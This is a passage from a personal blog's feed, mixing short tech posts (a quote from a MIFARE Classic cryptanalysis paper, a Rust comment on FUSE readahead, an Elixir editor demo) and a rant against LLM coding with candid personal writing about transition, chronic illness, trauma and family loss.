&lt;li&gt;Today’s best approaches only really serve to distance the user from all of these concepts. The work becomes instead “convince the generative model to produce code closest to what I want”, but “closest” is a non-specific property that a generative model will naturally exploit. It will give code a certain way (per its (quite literally) illegally and unethically sourced training data! woo!), and that will then dictate a bit more of the shape of the code you write (or generate) next. There is an entire class of tiny decisions you are repudiating, and difference in craft between the two (and I do mean by craft a proxy for intelligibility, performance, reliability, etc.) is one that will become more and more obvious as time goes.
&lt;ul&gt;
&lt;li&gt;rarely bother to “predict” anything, so this is interesting. Usual assumptions apply: don’t particularly feel it or anything will be true, mostly because always extremely prepared to be disappointed even more. e.g. may well not happen, well-written/reliable software might just cease to exist in the large instead ¯\_(ツ)_/¯&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If typing speed has even been the bottleneck for your programming you are Doing It Wrong. LLM-centric approaches, even in an agentic scenario (or whatever! the model fundamentally hallucinates! in these approaches, they &lt;em&gt;always will&lt;/em&gt;. stop falling for the next thing every 6 months, it’s boring!), decentre all of the theory-building aspect &lt;em&gt;and&lt;/em&gt; the hands-on experience necessary if you ever again see yourself having to work on this by hand (vs. declaring it write-only, hoping the agent definitely gives you good things to paste in the console when there’s an incident and you can’t understand the data flow yourself!).&lt;/li&gt;
&lt;li&gt;Where do you honestly see this going? Has there ever been any indication that this &lt;em&gt;isn’t&lt;/em&gt; another bubble? Do you not already see the horror stories? I haven’t even mentioned the environmental costs; the ones that threaten to displace all other costs with its effects. Or are you going soft on “global warming” too?&lt;/li&gt;
&lt;/ul&gt;</content>

  </entry>

  <entry>
    <title>know the difference</title>
    <updated>2025-07-04T08:42:29Z</updated>
    <id>https://kivikakk.ee/2025/07/04/know-the-difference</id>
    <link href="https://kivikakk.ee/2025/07/04/know-the-difference" />

    <content type="html">&lt;p&gt;I think one of my biggest surprises in going to Estonia was discovering that European wasps are just called wasps there.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Dismantling MIFare Classic</title>
    <updated>2025-07-04T08:42:06Z</updated>
    <id>https://kivikakk.ee/2025/07/04/dismantling-mifare-classic</id>
    <link href="https://kivikakk.ee/2025/07/04/dismantling-mifare-classic" />

    <content type="html">&lt;blockquote&gt;
&lt;p&gt;Since the tag nonce and &lt;code&gt;uid&lt;/code&gt; are sent as plaintext, we also recover the LFSR state before feeding in &lt;em&gt;n&lt;/em&gt;&lt;sub&gt;T&lt;/sub&gt; ⊕ &lt;code&gt;uid&lt;/code&gt; (step 4). Note that this LFSR state is the secret key!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://flaviodgarcia.com/publications/Dismantling.Mifare.pdf&quot;&gt;Dismantling MIFARE Classic&lt;/a&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>1179648</title>
    <updated>2025-06-18T10:24:00Z</updated>
    <id>https://kivikakk.ee/2025/06/18/1179648</id>
    <link href="https://kivikakk.ee/2025/06/18/1179648" />

    <content type="html">&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-rust&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// This is a weird looking number! We really want our first request size to be 1MiB,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// which is a common IO size. But Linux&amp;#39;s readahead will try to read an extra 128k on on&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// top of a 1MiB read, which we&amp;#39;d have to wait for a second request to service. Because&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// FUSE doesn&amp;#39;t know the difference between regular reads and readahead reads, it will&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// send us a READ request for that 128k, so we&amp;#39;ll have to block waiting for it even if&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// the application doesn&amp;#39;t want it. This is all in the noise for sequential IO, but&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// waiting for the readahead hurts random IO. So we add 128k to the first request size&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// to avoid the latency hit of the second request.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;//&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// Note the CRT does not respect this value right now, they always return chunks of part size&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// but this is the first window size we prefer.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;INITIAL_READ_WINDOW_SIZE&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;usize&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1024&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1024&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;128&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1024&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/awslabs/mountpoint-s3/blob/1ee3d8f1f17f4918e16db386d7e993c1c8018200/mountpoint-s3-fs/src/s3/config.rs#L243C1-L254C66&quot;&gt;&lt;code&gt;github.com/awslabs/mountpoint-s3/mountpoint-s3-fs/src/s3/config.rs:243-254&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>estar</title>
    <updated>2025-06-17T08:50:00Z</updated>
    <id>https://kivikakk.ee/2025/06/17/estar</id>
    <link href="https://kivikakk.ee/2025/06/17/estar" />

    <content type="html">&lt;p&gt;by (what feels to me) some huge coincidence, i find myself increasingly actually believing myself to be more “awake” or aware or something than nearly everyone around me — and not in a way that feels obviously generically megalomaniacal or whatever, but in specific, measurable ways. i’m 100% clear that i’m not delusional in the ways i’m finding myself having a by-the-numbers relatively extraordinary belief.&lt;/p&gt;
&lt;p&gt;and that would  be just the expected ~phenomenology~ of such a delusion, and this too has never failed to occur to me. it just is what it is, and ngl that’s kinda weird.&lt;/p&gt;
&lt;p&gt;this post brought to you from subconscious-overthinking while thoroughly learning k8s in my own time, becoming accustomed to feeling mostly disappointment in work time, and a fair bit of meditation in between&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>famous estonian hospitality</title>
    <updated>2025-06-16T01:57:00Z</updated>
    <id>https://kivikakk.ee/2025/06/16/famous-estonian-hospitality</id>
    <link href="https://kivikakk.ee/2025/06/16/famous-estonian-hospitality" />

    <content type="html">&lt;p&gt;Estonians are renowned for their social charm, and for good reason are considered second to none in business. Here follows an exemplar of such, when an order from a motorcycle gear and accessory store was unable to be realised in full.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/eesti/e01.png&quot; alt=&quot;Email from “Moto24”: Tere! Tänan esitatud tellimuse eest. Oxford Aqua T-50 Roll Bag - Grey/White toode ei ole kahjuks saadaval. Parimate soovidega / Best regards, Moto24&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hello! Thank you for your order. Oxford Aqua T-50 Roll Bag - Grey/White is unfortunately not available. Best regards&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I was a little unsure of how to proceed, but figured I could try asking for a different similar item. They all appeared to be in stock on the website.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/eesti/e02.png&quot; alt=&quot;Tere! Tänan kirja eest. Kas Teil on hoopis see? (link) Kõike head, Amelia&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hello! Thank you for your email. Do you have this one instead? All the best&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/eesti/e03.png&quot; alt=&quot;Hello! Unfortunately also currently out of stock.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/eesti/e04.png&quot; alt=&quot;Hello! How about this? (link) Best&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/eesti/e05.png&quot; alt=&quot;Hello! Not available.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/eesti/e06.png&quot; alt=&quot;Hi! Okay! How about (link) ?&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/eesti/e07.png&quot; alt=&quot;Hello! Not available. All the oxford models are not available unfortunately. If website not showing availability then item is not available from warehouses.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/eesti/e08.png&quot; alt=&quot;Hello, Oh, okay! It’s not clear since the one in the original order (link) shows as “dispatch in 4 days”. How about this one? (link) It says dispatch in 5 days.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/eesti/e09.png&quot; alt=&quot;Hello! System is not working as expected unfortunately. Link is not active.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/eesti/e10.png&quot; alt=&quot;Hello, Works for me! Here’s a screenshot: (picture of a bag on their website showing stock). SKU is (sku).&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/eesti/e11.png&quot; alt=&quot;Hello! Thank you. Currently 1pc available from supplier warehouse.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/eesti/e12.png&quot; alt=&quot;Hello, OK! Can we substitute that for the unavailable bag in the order?&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/eesti/e13.png&quot; alt=&quot;Hello! Yes, will add it to roder.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;They did not refund the difference between the original item and the one I requested, but given the level and speed of service I received in lieu, I didn’t even feel like asking for it!&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>diary entry</title>
    <updated>2025-06-15T07:33:00Z</updated>
    <id>https://kivikakk.ee/2025/06/15/diary-entry</id>
    <link href="https://kivikakk.ee/2025/06/15/diary-entry" />

    <content type="html">&lt;blockquote&gt;
&lt;p&gt;it is so simultaneously disembodying and hyperembodying to be in pain&lt;/p&gt;
&lt;/blockquote&gt;</content>

  </entry>

  <entry>
    <title>editor!</title>
    <updated>2025-06-02T04:56:00Z</updated>
    <id>https://kivikakk.ee/2025/06/02/editor</id>
    <link href="https://kivikakk.ee/2025/06/02/editor" />

    <content type="html">&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/editor.png&quot; alt=&quot;&quot; /&gt;wip: WYSIWYG editor (just added the little language editor bit to code blocks) which is entirely CommonMark-driven! Behold:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-iex&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;iex(7)&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;Kv.Content&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;get_item!&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;139&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;body_md&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;|&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;IO&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;puts&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;debug&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt; QUERY OK &lt;span style=&quot;color: #cdd6f4;&quot;&gt;source&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;items&amp;quot;&lt;/span&gt; db&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0.9&lt;/span&gt;ms idle&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;335.6&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;ms&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;SELECT&lt;/span&gt; i0&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;id&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; i0&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;kind&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; i0&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;path&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; i0&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;title&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; i0&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;metadata&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; i0&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;published_at&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;i0&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;published_at_slug&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; i0&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;tags&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; i0&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;body_md&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; i0&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;inserted_at&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; i0&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;updated_at&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;i0&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;author_id&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;FROM&lt;/span&gt; &amp;quot;&lt;span style=&quot;color: #89b4fa;&quot;&gt;items&lt;/span&gt;&lt;span style=&quot;color: #f2cdcd;&quot;&gt;&amp;quot; AS i0 WHERE (i0.&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot; = $1) [139]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;↳ :elixir.eval_external_handler/3, at: src/elixir.erl:386&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;* echawwo mi kin, **hereeee**
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  * yesssss
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  *
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;```rust
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;func main() -&amp;gt; Result&amp;lt;(), Box&amp;lt;dyn Error&amp;gt;&amp;gt; &amp;lbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  // nyonk!
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;&amp;rbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;```
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;yeehaw
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;```plaintext
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;o//
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;```
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;:ok
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;</content>

  </entry>

  <entry>
    <title>siguiente</title>
    <updated>2025-05-30T05:38:00Z</updated>
    <id>https://kivikakk.ee/2025/05/30/siguiente</id>
    <link href="https://kivikakk.ee/2025/05/30/siguiente" />

    <content type="html">&lt;p&gt;Follow-up to &lt;a href=&quot;https://kivikakk.ee/2025/05/05/cosas-peque%C3%B1as&quot;&gt;cosas pequeñas&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The little blog engine slowly grows more capable. It’s been nice.&lt;/li&gt;
&lt;li&gt;Decided to turn that homelab server into a gaming PC instead, haha psyche! Instead decided to learn better how to cross-build things and  operate k3s without trying to shove everything through a NixOS module.&lt;/li&gt;
&lt;li&gt;Ketamine infusion probably happening around August.&lt;/li&gt;
&lt;li&gt;Clonidine effectiveness wore off, increased dose, wore off, increased dose, wore off. Just saw my psychiatrist again and he, like every other specialist, is “drawing a blank”. Going to keep increasing the dose of that/try not to fall over/try not to run out and get hit with rebound hypertension,  consult again in 4 weeks. Not feeling super good about this but wcyd&lt;/li&gt;
&lt;li&gt;Autumn has been lovely, hello winter!&lt;/li&gt;
&lt;/ul&gt;</content>

  </entry>

  <entry>
    <title>“it’s a pretty view”</title>
    <updated>2025-05-28T02:29:00Z</updated>
    <id>https://kivikakk.ee/2025/05/28/long-way-down</id>
    <link href="https://kivikakk.ee/2025/05/28/long-way-down" />

    <content type="html">&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/cf.jpg&quot; alt=&quot;photo taken from a bridge at night&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Rest in peace, Charlotte.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>ella</title>
    <updated>2025-05-26T04:30:00Z</updated>
    <id>https://kivikakk.ee/2025/05/26/ella</id>
    <link href="https://kivikakk.ee/2025/05/26/ella" />

    <content type="html">&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/IMG_8799.jpg&quot; alt=&quot;photo of Annie flashing a peace sign while squatting on her chair like a little gremlin&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/IMG_8805.jpg&quot; alt=&quot;photo of Annie and me, both rugged up and outside, looking at the camera&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/IMG_8792.jpg&quot; alt=&quot;photo of Annie pointing at a fire engine with mouth open, it’s some kind of meme. (the fire engine’s lights are on, but it wasn’t responding to an emergency, don’t worry.)&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>“i love you too darling”</title>
    <updated>2025-05-25T05:47:00Z</updated>
    <id>https://kivikakk.ee/2025/05/25/i-love-you-too-darling</id>
    <link href="https://kivikakk.ee/2025/05/25/i-love-you-too-darling" />

    <content type="html">&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/iloveyoutoo.png&quot; alt=&quot;Discord chat between Talya and annie. Talya says: “i love elixir so much”. annie replies: “i love you too darling”. Talya replies with a big love heart, and annie with a gif from the anime Kobayashi’s Maid Dragon, of Tohru swinging Kanna around happily.&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>more than two (!) years ago</title>
    <updated>2025-05-25T04:20:00Z</updated>
    <id>https://kivikakk.ee/2025/05/25/more-than-two-years-ago</id>
    <link href="https://kivikakk.ee/2025/05/25/more-than-two-years-ago" />

    <content type="html">&lt;blockquote&gt;
&lt;p&gt;Entire body aching. Shoulders, elbows (both strong), wrists, fingers joints, back of hand (right esp), knees, upper and lower legs top, back; feet all over. I will run this body into the ground if I have to, not out of malice, but out of love for my own existence, our own, its own existence and refusing to let this sap my quality of life. It is clearly not responsive to either rest and taking it easy, or staying moving and stretching and being active. It is caused by neither, helped by neither. I will rest as much as I like, but then I will work and push as hard as I want. Stimulants and cannabis help me do both, and it will rely on them to help with both. To do otherwise is to waste the gift of opportunity it has.&lt;/p&gt;
&lt;p&gt;It is on a mission.&lt;/p&gt;
&lt;/blockquote&gt;</content>

  </entry>

  <entry>
    <title>closure</title>
    <updated>2025-05-24T15:13:00Z</updated>
    <id>https://kivikakk.ee/2025/05/24/closure</id>
    <link href="https://kivikakk.ee/2025/05/24/closure" />

    <content type="html">&lt;p&gt;Noodling away at what has motivated the things I’ve chosen to do lately.&lt;/p&gt;
&lt;p&gt;This seems like a fruitful endeavour directly &lt;em&gt;because&lt;/em&gt; I’ve been so limited in my ability lately; what have I &lt;a href=&quot;https://kivikakk.ee/2017/01/01/new-year&quot;&gt;prioritised&lt;/a&gt;? What, empirically, drives me when nothing else can? I struggle so much with self-knowledge — which is, at its heart, a weird “rendering” of the equally true/first-person point-of-view statement “I struggle with a lack/surplus of identity”&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-fn0&quot; id=&quot;fnref-fn0&quot; data-footnote-ref&gt;1&lt;/a&gt;&lt;/sup&gt; — that revealed preference is a very powerful source of uncluttered information.&lt;/p&gt;
&lt;p&gt;I’ve been angling to write more, doing &lt;a href=&quot;https://kivikakk.ee/2025/05/05/cosas-peque%C3%B1as&quot;&gt;things&lt;/a&gt; to make that feel nearer to hand, to lessen &lt;a href=&quot;https://kivikakk.ee/2011/09/15/impedance-mismatch&quot;&gt;impedance&lt;/a&gt;; to exist publicly more, to &lt;em&gt;be somewhere&lt;/em&gt; more. And it’s obvious, internally, that this is driven by a kind of mortality fear—pain is a signal, and I cannot help but react to it. But it’s obvious, too, that this is manifesting some kind of equal and corresponding oppression in the psychic dimension. Change is life is change.&lt;/p&gt;
&lt;p&gt;Collecting old posts into one place feels, allegorically, like collecting every part of me that has existed and, at least, letting the pieces stand together at the end. I’m romanticising it a lot, really, but at the same time there is a me that experiences it with intensity. To collect oneself. It’s a bit of a quiet, sisterly companionship feeling. It’s a nice surprise, when you’re feeling this tired, to realise just how much you’ve done, how much you’ve experienced. Decades of being amongst yourself. You can feel held in that. It also gives a sense of being (able to be) seen to parts that might lack it.&lt;/p&gt;
&lt;p&gt;There’s also a very peculiar sense of legacy. I have two kids; both in high school, now, getting to the age I was when I started to learn who I was. My marriage with their mother didn’t survive my transition. She and I both tried extremely hard — both very young, stupid parents — but ultimately I decided a line had been crossed when she threatened my life. The divorce and transition that both ensued were so incredibly rough. I had my first major breakdown within two months of my moving out of the family home, at times having 5 days of work and then a weekend of 2 days of solo parenting a 2yo and 6mo alone, having just turned 22, having started HRT 6 months earlier, with your marriage and feeling of security in being alive crashing down 6 months before &lt;em&gt;that&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Like it was just a lot!! I was so unprepared. I was so unprepared for the depression, anxiety and trauma that was to come. My eldest brother called me to abuse me for my decision on multiple occasions, refusing to let me talk (!) or even have a moment to respond between salvos. My mum did her very best to be supportive, always, which I am always grateful for. My other older brother — the one I was closest to, growing up — became uncomfortable around me (which never changed again!).&lt;/p&gt;
&lt;p&gt;That was 2013, and I just never really recovered. I would see my kids every few weeks, and as my general state of mental health would continue to suffer hits over the years to come — with the really big hits to follow in 2016 (capital-s Sick for &gt;1y), 2017 (girlfriend suicide attempts), 2017 again (rape), 2018 (Sick rebound), 2022 (covid), 2023 again (auto-immune? + mould), 2023 (assault), 2024 (chronic pain starts)  (HMM that was a longer list than I was expecting. and I am sure it is incomplete.) —  I never became capable of more than that. And so as we have continued to know each other and see each other and love one another, I haven’t been a part of their life in a “normal parent” kind of way for more than 10 years at this stage. At least somewhere, once, I need to make sure it is written and known that I never wanted this.&lt;/p&gt;
&lt;p&gt;So, making sure there is as much of what of me already exists out there, in a meaningful/significant way, in a place that’s linked together. It sounds a bit morbid, but I have spent my entire life as a programmer, having decided at an early age not to, as the child who was taught by her father, who looked up to him so much, who then had to deal with his suicide when she was 13, to deal with his never getting to know her and who she became. In so many ways, I turned out like him, both good and bad—and I mean that in a good way. I’ve struggled so much having so little chance to know him more, and I’d like to avoid committing the same mistakes, if possible. May this hang around and be found some day, and may I get to keep loving them for a long while yet.&lt;/p&gt;
&lt;p&gt;I’ve spent a lot of time programming, almost feverishly at times. It feels like the &lt;em&gt;one&lt;/em&gt; thing. I don’t know how to put that otherwise and still convey my meaning. It is my connection to the source right now&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-fn1&quot; id=&quot;fnref-fn1&quot; data-footnote-ref&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
